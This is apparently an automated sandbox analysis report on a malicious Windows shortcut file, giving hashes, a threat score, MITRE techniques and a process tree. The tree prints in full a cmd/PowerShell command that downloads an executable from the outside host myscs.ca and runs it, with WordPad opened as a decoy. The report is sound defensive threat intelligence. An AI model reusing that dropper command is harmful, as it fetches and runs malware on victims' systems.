fca13c961e8ca0c84328b26d342b365b8867b250a1c8bc4688ce35e993b9864e

Analysis

max time kernel
148s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
02/02/2023, 13:36

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General

Target

43843_8439_8329098.lnk
Size

130KB
MD5

2fcb95c29131b2bdb9f864f492a3bcd1
SHA1

7ffa77710ae6a95b3759643852a5a829c550a36e
SHA256

36a4e3cebb2ed11077cca219e6033a31a60fc8924ed48b79e216d4ceefcc08f5
SHA512

a527d90b15ce7556ae167aba16cfbda8d213b87ec8d2e095ba57060ae7af3315de7bfcbbaddca8e7ad4ff8c7f6a40f5f9e3b8bdea25292a24f2d31740368baa7
SSDEEP

3072:EE+n8y1Bzt+mwV4jUs8Nu+GEodNn6/f1DaiSGeQnHkJ6U:EE+nPvxwV28NTGEoEAbGXHM6U

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	5008	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5008	powershell.exe
5008	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5008	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2132	wordpad.exe
2132	wordpad.exe
2132	wordpad.exe
2132	wordpad.exe
2132	wordpad.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3228 wrote to memory of 1648	3228	cmd.exe	80
PID 3228 wrote to memory of 1648	3228	cmd.exe	80
PID 1648 wrote to memory of 5008	1648	cmd.exe	81
PID 1648 wrote to memory of 5008	1648	cmd.exe	81
PID 1648 wrote to memory of 2132	1648	cmd.exe	82
PID 1648 wrote to memory of 2132	1648	cmd.exe	82

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\43843_8439_8329098.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /R set U=http:/&powershell "$J=new-object system.net.webclient;$J.downloadfile($env:U+'/myscs.ca/valued_sp3_update.exe',$env:tmp+'\Up.exe');"&"C:\Program Files\windows nt\accessories\wordpad" c:\pagefile.sys&C:\Users\Admin\AppData\Local\Temp/Up&g3Jerl:+hqw^-BdjJd&cjM34{_________
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1648
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "$J=new-object system.net.webclient;$J.downloadfile($env:U+'/myscs.ca/valued_sp3_update.exe',$env:tmp+'\Up.exe');"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5008
- - C:\Program Files\windows nt\accessories\wordpad.exe
    "C:\Program Files\windows nt\accessories\wordpad" c:\pagefile.sys
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:2132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:4876

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/5008-134-0x00000216FEC70000-0x00000216FEC92000-memory.dmp

Filesize
136KB

Download
memory/5008-135-0x00007FFF39CB0000-0x00007FFF3A771000-memory.dmp

Filesize
10.8MB

Download
memory/5008-136-0x00007FFF39CB0000-0x00007FFF3A771000-memory.dmp

Filesize
10.8MB

Download
memory/5008-137-0x00007FFF39CB0000-0x00007FFF3A771000-memory.dmp

Filesize
10.8MB

Download